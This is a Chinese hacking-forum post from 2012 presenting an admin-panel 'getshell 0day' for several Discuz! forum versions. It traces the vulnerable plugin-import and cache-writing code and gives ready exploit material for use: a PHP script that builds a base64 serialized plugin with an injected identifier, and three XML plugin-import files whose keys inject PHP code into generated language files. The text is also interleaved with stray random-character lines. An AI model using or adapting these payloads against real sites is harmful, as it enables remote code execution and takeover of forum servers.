中国网络渗透测试联盟
标题:
dz全版本后台拿webshell0day
[打印本页]
作者:
admin
时间:
2012-9-5 14:53
标题:
dz全版本后台拿webshell0day
趁着地球还没毁灭,赶紧放出来。
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预祝"单恋一枝花"童鞋生日快乐。
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恭喜我的浩方Dota升到2级。
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希望世界和平。
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我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……
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既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。
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一 Discuz! 6.0 和 Discuz! 7.0
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既然要后台拿Shell,文件写入必看。
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/include/cache.func.php
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function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
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global $authkey;
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if(is_array($cachenames) && !$cachedata) {
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foreach($cachenames as $name) {
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$cachedata .= getcachearray($name, $script);
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}
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}
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$dir = DISCUZ_ROOT.'./forumdata/cache/';
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if(!is_dir($dir)) {
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@mkdir($dir, 0777);
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}
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if($fp = @fopen("$dir$prefix$script.php", 'wb')) {
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fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
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"\n//Created: ".date("M j, Y, G:i").
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"\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");
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fclose($fp);
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} else {
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exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');
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}
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}
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往上翻,找到调用函数的地方.都在updatecache函数中.
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if(!$cachename || $cachename == 'plugins') {
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$query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
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while($plugin = $db->fetch_array($query)) {
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$data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
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$plugin['modules'] = unserialize($plugin['modules']);
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if(is_array($plugin['modules'])) {
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foreach($plugin['modules'] as $module) {
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$data['modules'][$module['name']] = $module;
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}
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}
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$queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
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while($var = $db->fetch_array($queryvars)) {
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$data['vars'][$var['variable']] = $var['value'];
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}
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//注意
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writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
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}
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}
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如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
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去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
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但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.
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/admin/plugins.inc.php
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if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
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if(!$newname) {
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cpmsg('plugins_edit_name_invalid');
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}
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
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//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
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if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
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cpmsg('plugins_edit_identifier_invalid');
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}
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$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
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}
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//写入缓存文件
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updatecache('plugins');
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updatecache('settings');
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cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');
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还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
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预览源代码打印关于
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elseif(submitcheck('importsubmit')) {
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$plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);
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$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
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//解码后没有判定
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if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
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cpmsg('plugins_import_data_invalid');
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} elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
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cpmsg('plugins_import_version_invalid');
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}
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
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//判断是否重复,直接入库
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if($db->num_rows($query)) {
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cpmsg('plugins_import_identifier_duplicated');
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}
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$sql1 = $sql2 = $comma = '';
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foreach($pluginarray['plugin'] as $key => $val) {
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if($key == 'directory') {
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//compatible for old versions
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$val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
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}
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$sql1 .= $comma.$key;
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$sql2 .= $comma.'\''.$val.'\'';
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$comma = ',';
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}
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$db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
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$pluginid = $db->insert_id();
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foreach(array('hooks', 'vars') as $pluginconfig) {
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if(is_array($pluginarray[$pluginconfig])) {
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foreach($pluginarray[$pluginconfig] as $config) {
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$sql1 = 'pluginid';
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$sql2 = '\''.$pluginid.'\'';
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foreach($config as $key => $val) {
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$sql1 .= ','.$key;
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$sql2 .= ',\''.$val.'\'';
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}
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$db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
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}
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}
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}
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updatecache('plugins');
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updatecache('settings');
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cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
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}
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随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
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/forumdata/cache/plugin_shell.php
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<?php
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//Discuz! cache file, DO NOT modify me!
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//Created: Mar 17, 2011, 16:56
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//Identify: 7c0b5adeadf5a806292d45c64bd0659c
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$_DPLUGIN['shell'] = array (
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'pluginid' => '11',
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'available' => '0',
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'adminid' => '0',
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'name' => 'Getshell',
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'identifier' => 'shell',
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'datatables' => '',
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'directory' => '',
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'copyright' => '',
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'modules' =>
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array (
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),
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'vars' =>
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array (
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),
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)?>
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我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
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/forumdata/cache/plugin_a']=phpinfo();$a['a.php
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01
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<?php
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//Discuz! cache file, DO NOT modify me!
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//Created: Mar 17, 2011, 16:56
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//Identify: 7c0b5adeadf5a806292d45c64bd0659c
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$_DPLUGIN['a']=phpinfo();$a['a'] = array (
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'pluginid' => '11',
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'available' => '0',
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'adminid' => '0',
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10
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'name' => 'Getshell',
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'identifier' => 'shell',
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'datatables' => '',
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'directory' => '',
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'copyright' => '',
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'modules' =>
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array (
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),
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'vars' =>
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19
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array (
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20
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),
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21
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)?>
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最后是编码一次,给成Exp:
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01
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<?php
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02
8 ]3 [0 s9 B1 }- c
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
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03
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IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
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04
6 ]3 {" c6 p. f9 z7 d! ?5 B [
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
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05
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cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
$ h( D) K0 }+ Q' M6 p( E
06
q0 C3 B+ m; j: g A" }
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
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07
# x0 [1 P' `% k, p8 i
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
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08
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fQ=="));
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09
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//print_r($a);
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10
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$a['plugin']['name']='GetShell';
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11
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$a['plugin']['identifier']='a\']=phpinfo();$a[\'';
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12
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13
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print(base64_encode(serialize($a)));
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14
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?>
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" a, f; W7 G, b) t" r3 Q" {
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"
+ N) j) ]- b; ?
+ |9 P: v9 @/ ~( l2 N7 f( \
二 Discuz! 7.2 和 Discuz! X1.5
3 \. q+ R" ]* [" S0 [
" B& d" S2 `# ~
以下以7.2为例
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# R1 y7 x. Y) l3 b& n; `
/admin/plugins.inc.php
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01
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elseif($operation == 'import') {
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02
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03
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if(!submitcheck('importsubmit') && !isset($dir)) {
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04
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05
8 L( }% i5 n6 v8 H# n( V
/*未提交前表单神马的*/
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06
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07
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} else {
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08
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09
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if(!isset($dir)) {
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10
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//导入数据解码
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$pluginarray = getimportdata('Discuz! Plugin');
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12
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} elseif(!isset($installtype)) {
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13
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/*省略一部分*/
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14
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}
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15
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//判定你妹啊,两遍啊两遍
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16
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if(!ispluginkey($pluginarray['plugin']['identifier'])) {
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17
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cpmsg('plugins_edit_identifier_invalid', '', 'error');
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18
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}
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19
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if(!ispluginkey($pluginarray['plugin']['identifier'])) {
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20
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cpmsg('plugins_edit_identifier_invalid', '', 'error');
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21
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}
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22
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if(is_array($pluginarray['hooks'])) {
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23
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foreach($pluginarray['hooks'] as $config) {
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24
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if(!ispluginkey($config['title'])) {
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25
* L8 S9 R0 G; a
cpmsg('plugins_import_hooks_title_invalid', '', 'error');
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26
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}
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27
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}
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28
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}
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29
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if(is_array($pluginarray['vars'])) {
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30
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foreach($pluginarray['vars'] as $config) {
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31
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if(!ispluginkey($config['variable'])) {
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32
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cpmsg('plugins_import_var_invalid', '', 'error');
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33
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}
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34
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}
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35
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}
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36
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37
* [ S% }$ `; N& {3 ~
$langexists = FALSE;
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38
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//你有张良计,我有过墙梯
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39
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if(!empty($pluginarray['language'])) {
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40
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@mkdir('./forumdata/plugins/', 0777);
1 v r% V. D2 c; H S% f
41
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$file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';
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42
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if($fp = @fopen($file, 'wb')) {
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43
: E' K2 B3 X1 c {
$scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
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44
* W2 ]& |- f; H8 m ?; u
$templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
1 F3 f1 i. _# |+ L# f" c8 N7 l
45
! T2 o3 i' x+ E1 m& X% w3 d
$installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';
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46
9 l) T @1 o ?4 ?- L
fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
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47
* F) C4 X8 b, h6 J8 f: @& a
fclose($fp);
% ?6 J7 w, @( j9 C2 m( F* G
48
1 n6 ~4 m3 A6 S: ?& C( ?" ]
}
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49
6 S: `4 H7 E1 u2 t \% _8 l: s
$langexists = TRUE;
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50
5 \8 l7 U5 r* Q+ K b* K
}
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51
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52
; Z& t9 c8 V+ n
/*处理神马的*/
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53
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updatecache('plugins');
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54
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updatecache('settings');
8 D4 @; j$ D9 U! ^
55
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updatemenu();
" \6 Y% E3 [5 r- z {
56
6 f7 r/ F; B! O( l
. Z @% v! N5 \+ x# M7 [/ S% [: M
57
' g# |' l+ \0 r; ]$ G4 D
/*省略部分代码*/
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58
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7 {0 E f. k: w* D6 {. n0 R2 W: b/ d
59
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}
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先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
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01
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function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {
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02
' h: ~3 @- c9 ~+ h
if($GLOBALS['importtype'] == 'file') {
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03
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$data = @implode('', file($_FILES['importfile']['tmp_name']));
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04
4 ?4 C# n. |# @9 j
@unlink($_FILES['importfile']['tmp_name']);
9 T$ b: p2 M/ x. S- }. D
05
% \, O' b e l' H" L8 A0 V k4 k
} else {
( P+ i' x' p9 E# K7 ~) p+ x \8 P: y
06
2 _) k8 I; x; V S; F
$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];
8 _1 r1 l. J2 I! f) b) u
07
; `, m& }% O9 v
}
/ _. Z- ]) n- _# ?3 q
08
$ E# C0 C# k5 G; u
include_once DISCUZ_ROOT.'./include/xml.class.php';
) n c, {# e" e. n! u9 a
09
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$xmldata = xml2array($data);
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10
4 c+ U7 h( ?+ P; U1 i
if(!is_array($xmldata) || !$xmldata) {
% r d: t6 @3 q8 b. `1 N( m R
11
% o X5 G' L; K( A4 @& d" o
//向下兼容
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12
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if($name && !strexists($data, '# '.$name)) {
6 R$ t4 c; A$ ~
13
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if(!$ignoreerror) {
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14
, n% `+ m8 I- t; R
cpmsg('import_data_typeinvalid', '', 'error');
9 H) S* |7 h; H0 w
15
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} else {
8 b2 c, j$ v" G7 u+ v0 C
16
( `5 D4 c# ?. b) Y
return array();
" _! H' l4 P& l4 _- S
17
+ a j2 @8 t0 M( n: T
}
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18
* Q9 n# L P$ m1 N7 M
}
. }. y A1 L1 W& N* a' V, [9 s0 H0 X
19
2 o: J( k) f$ s: z/ U- |0 }
$data = preg_replace("/(#.*\s+)*/", '', $data);
/ C8 B) O9 W3 r+ x
20
9 i- ?- F# n; q. {
$data = unserialize(base64_decode($data));
# g6 C7 Z( A; { f+ ]% p
21
, [! I3 E* Z$ C, v j5 b) g
if(!is_array($data) || !$data) {
9 b3 C6 K3 T1 `3 R( i
22
9 x- E# m/ I7 l) `5 Z' Q9 s8 O: u
if(!$ignoreerror) {
9 D/ Y& v- p1 a: a; W; @
23
6 m9 l% }. \2 Q7 }1 u( w4 N7 \
cpmsg('import_data_invalid', '', 'error');
- J7 |# y3 l7 u& @
24
: R- G3 r8 F. @0 E7 z: Y
} else {
. a" \& c K+ {, M
25
1 U8 F2 Q6 I/ O4 \0 v: |' }
return array();
) D4 D' b% H# G8 C" f8 f( C0 H
26
! @7 [) }: y+ ?% |. ~6 V! {
}
& Z' D: p& B8 ?. y5 s+ v& K- p t
27
, j# C/ V2 |% a0 T% b
}
" E+ ^% S3 r$ m! n, u" {# {
28
& x# k' B1 P3 p# a6 T# p
} else {
' U1 Z' v6 H0 [" Y5 g% ~
29
8 E8 ~# u% H# b0 T* v! u# f
//XML解析
! f% S2 z! O+ w3 D
30
" q" A; |3 f k9 W: Z1 A
if($name && $name != $xmldata['Title']) {
( _$ Y' K! y9 U; J
31
! } o" h4 W8 A/ o) B# A
if(!$ignoreerror) {
; @3 R( W2 v: }8 h
32
6 Q0 Q5 B8 M; u# D5 x
cpmsg('import_data_typeinvalid', '', 'error');
* F( m0 \0 s! ?
33
. _1 V8 [- Z( s8 S7 R
} else {
/ `+ H1 t: N% x4 I# ?/ R8 F! x2 I
34
: F* D" @, l+ I
return array();
) Z0 B' r" i0 O6 w* s3 Z
35
. @& Y4 Z' }# _0 U6 u4 f% A
}
/ n# I' a' {! L7 l* T. R9 H$ S
36
$ @. Z: c; q+ [6 a1 `% E+ J& U
}
% q- c D h1 R0 ?
37
- {! ~# V" t8 w
$data = exportarray($xmldata['Data'], 0);
1 y+ c3 u1 [8 G A) F' c
38
. o5 K1 f5 T/ M% c
}
7 m& o5 p' J6 P* d" K
39
: E6 ^6 T* U) K$ F- f/ k
if($addslashes) {
+ u3 M: ^& r# Y
40
( V. X+ q# Z3 Q8 v& A) Y
//daddslashes在两个版本的处理导致了Exp不能通用.
7 `8 {+ H7 ~) K+ W, }% r) @
41
. V. @ U7 L$ d" v- P' i- x# u
$data = daddslashes($data, 1);
+ u% j$ j* b* G" T' P7 j
42
. z. V' r$ z/ w, ?' @; ]- B
}
' @$ H7 t( ?$ @ q+ l% B2 |: V/ z
43
; E' k* w% O: v/ C7 X
return $data;
) V! ]; Y1 k2 X# A' H/ g2 v# v
44
% b3 U$ E9 M/ J& g
}
3 k; h" K- `( B6 ^: G
判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
& ~5 \% `: b7 f) C7 P4 s
我们只要控制scriptlangstr或者其它任何一个就可以了。
N: q1 m( a1 ?- _9 P
01
3 V. o! @+ M( P, x% G
function langeval($array) {
8 d$ G* w1 I: O' ] O, B
02
6 o# M3 r6 u. i3 R! p8 B9 z' `
$return = '';
0 w3 R) `4 A% R# ]( b) p: ~3 @/ @
03
$ S2 Z' A3 ]# f& L
foreach($array as $k => $v) {
) |3 g: K4 @2 R, d5 G E+ `
04
3 p8 W8 K; p8 p# [9 @% K
//Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
6 N! Q( Y, T2 Y6 n& i$ r
05
" f( i& k; x7 W8 u9 _ H% d
$k = str_replace("'", '', $k);
7 { l3 d* |' k8 |2 u9 x
06
4 [8 i% P5 p6 X" a( q1 A* ~
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?
* H7 U, C: H e$ p0 T9 ^# x6 f
07
9 H p9 m& p& J! M
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";
' F# |0 C3 \6 ]" s) T0 g5 y
08
0 }% }: V$ Z1 t F8 M R5 z
}
, T& p! k1 l2 B* N
09
# ~5 X, G x% ]
return "array(\n$return);\n\n";
3 ~, l, Z/ D9 Q2 T5 U3 D
10
$ U2 ^; w" A6 r" c
}
, {' E, y$ M/ X& r
Key这里不通用.
' Z1 i$ I2 L$ J4 z9 g% J$ c/ N
" }) P, ~6 P( m
7.2
1 t/ d* [5 ]; p1 t
01
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function daddslashes($string, $force = 0) {
* g. j8 t, g' b `$ _
02
1 C* _# k" g4 V
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
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03
m) s& T; ]: o* u1 Y- G" k$ h4 t
if(!MAGIC_QUOTES_GPC || $force) {
. @1 x$ H7 ~) y% ^* U. B3 j
04
* m( `4 S2 F) S& }; F
if(is_array($string)) {
7 E* y* V% o4 {7 g1 Z; K' V0 h, R
05
: [3 t8 C/ o3 l/ \
foreach($string as $key => $val) {
( ^1 A! u1 u5 W+ p% b E7 Z
06
( [ {2 T" \4 K. P: p( w4 X
$string[$key] = daddslashes($val, $force);
; C, Z% \! H, w, Q- }, ]
07
+ N! ?, ]+ J# @. j$ x. c4 j
}
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08
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} else {
$ `5 P* R' k4 g' \6 z1 i
09
* }% A" J: t% @5 W1 d
$string = addslashes($string);
! |: _1 K, U% C% I3 Z" D2 C. \" e
10
& W6 [. ]* M1 I6 y& R& f$ o
}
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11
0 d2 m6 m7 x9 B2 L
}
% o) s- ]# C. o- V
12
( W: M( o5 K( H8 j2 ?) W9 x
return $string;
! K* {% i( s R8 R
13
! [# ]2 T2 d) N' z8 u5 B
}
4 R: x. _% L! s( B7 `
X1.5
7 c6 T- h. C0 }+ P+ B7 w
01
; p* E6 x$ l& {- `0 I6 `
function daddslashes($string, $force = 1) {
; H- K7 _2 R0 S4 T3 i- J+ [8 A# i
02
# c m$ U" F0 w
if(is_array($string)) {
/ L' f% d3 g% R/ g
03
9 P) O% k( P; U) C1 N
foreach($string as $key => $val) {
* S4 h% y: z7 x- T& u% W
04
) G- ~* X8 `: w) f$ x
unset($string[$key]);
5 s8 D# N" W6 L H& V2 W1 N/ o5 U
05
* N/ ^4 }, x% U, @$ n' I0 j6 `; R
//过滤了key
) ?( Z1 z' _ @0 p8 c
06
) B* M. p$ D9 Q2 l
$string[addslashes($key)] = daddslashes($val, $force);
0 y- N0 t. L9 m8 |7 S* W% \
07
: c$ c3 S5 `; t4 `, @, x
}
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08
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} else {
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$string = addslashes($string);
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}
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return $string;
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}
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还是看下shell.lang.php的文件格式.
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1
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<?php
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$scriptlang['shell'] = array(
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'a' => '1',
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'b' => '2',
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);
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?>
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7.2版本没有过滤Key,所以直接用\废掉单引号.
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X1.5,单引号转义后变为\',再被替换一次',还是留下了\
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而$v在两个版本中过滤相同,比较通用.
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X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件
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$v通用Exp:
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01
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<root>
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<item id="Title"><![CDATA[Discuz! Plugin]]></item>
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04
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<item id="Version"><![CDATA[7.2]]></item>
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05
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<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
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06
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<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
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07
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<item id="Data">
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08
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<item id="plugin">
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09
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<item id="available"><![CDATA[0]]></item>
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10
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<item id="adminid"><![CDATA[0]]></item>
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11
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<item id="name"><![CDATA[www]]></item>
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12
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<item id="identifier"><![CDATA[shell]]></item>
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13
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<item id="description"><![CDATA[]]></item>
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14
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<item id="datatables"><![CDATA[]]></item>
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15
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<item id="directory"><![CDATA[]]></item>
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16
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<item id="copyright"><![CDATA[]]></item>
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<item id="modules"><![CDATA[a:0:{}]]></item>
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18
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<item id="version"><![CDATA[]]></item>
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19
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</item>
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20
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<item id="version"><![CDATA[7.2]]></item>
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21
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<item id="language">
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22
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<item id="scriptlang">
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23
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<item id="a"><![CDATA[b\]]></item>
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24
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<item id=");phpinfo();?>"><![CDATA[x]]></item>
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25
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</item>
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26
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</item>
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27
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</item>
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</root>
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7.2 Key利用
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01
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<?xml version="1.0" encoding="ISO-8859-1"?>
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02
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<root>
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03
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<item id="Title"><![CDATA[Discuz! Plugin]]></item>
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04
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<item id="Version"><![CDATA[7.2]]></item>
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05
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<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
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06
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<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
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07
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<item id="Data">
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08
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<item id="plugin">
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09
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<item id="available"><![CDATA[0]]></item>
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10
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<item id="adminid"><![CDATA[0]]></item>
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11
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<item id="name"><![CDATA[www]]></item>
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12
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<item id="identifier"><![CDATA[shell]]></item>
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13
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<item id="description"><![CDATA[]]></item>
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14
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<item id="datatables"><![CDATA[]]></item>
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15
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<item id="directory"><![CDATA[]]></item>
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16
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<item id="copyright"><![CDATA[]]></item>
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17
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<item id="modules"><![CDATA[a:0:{}]]></item>
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18
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<item id="version"><![CDATA[]]></item>
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19
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</item>
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20
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<item id="version"><![CDATA[7.2]]></item>
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21
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<item id="language">
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22
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<item id="scriptlang">
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23
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<item id="a\"><![CDATA[=>1);phpinfo();?>]]></item>
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24
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</item>
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25
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</item>
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26
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</item>
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27
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</root>
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X1.5
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01
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<?xml version="1.0" encoding="ISO-8859-1"?>
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02
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<root>
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03
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<item id="Title"><![CDATA[Discuz! Plugin]]></item>
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04
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<item id="Version"><![CDATA[7.2]]></item>
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05
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<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
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06
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<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
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07
% z) C" H. Z4 h
<item id="Data">
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08
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<item id="plugin">
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09
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<item id="available"><![CDATA[0]]></item>
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10
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<item id="adminid"><![CDATA[0]]></item>
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11
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<item id="name"><![CDATA[www]]></item>
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12
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<item id="identifier"><![CDATA[shell]]></item>
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13
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<item id="description"><![CDATA[]]></item>
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14
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<item id="datatables"><![CDATA[]]></item>
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15
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<item id="directory"><![CDATA[]]></item>
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16
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<item id="copyright"><![CDATA[]]></item>
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17
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<item id="modules"><![CDATA[a:0:{}]]></item>
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18
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<item id="version"><![CDATA[]]></item>
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19
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</item>
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20
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<item id="version"><![CDATA[7.2]]></item>
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21
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<item id="language">
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22
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<item id="scriptlang">
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23
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<item id="a'"><![CDATA[=>1);phpinfo();?>]]></item>
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24
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</item>
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25
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</item>
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26
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</item>
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27
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</root>
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如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.
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最后的最后,加积分太不靠谱了,管理员能免费送包盐不?
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
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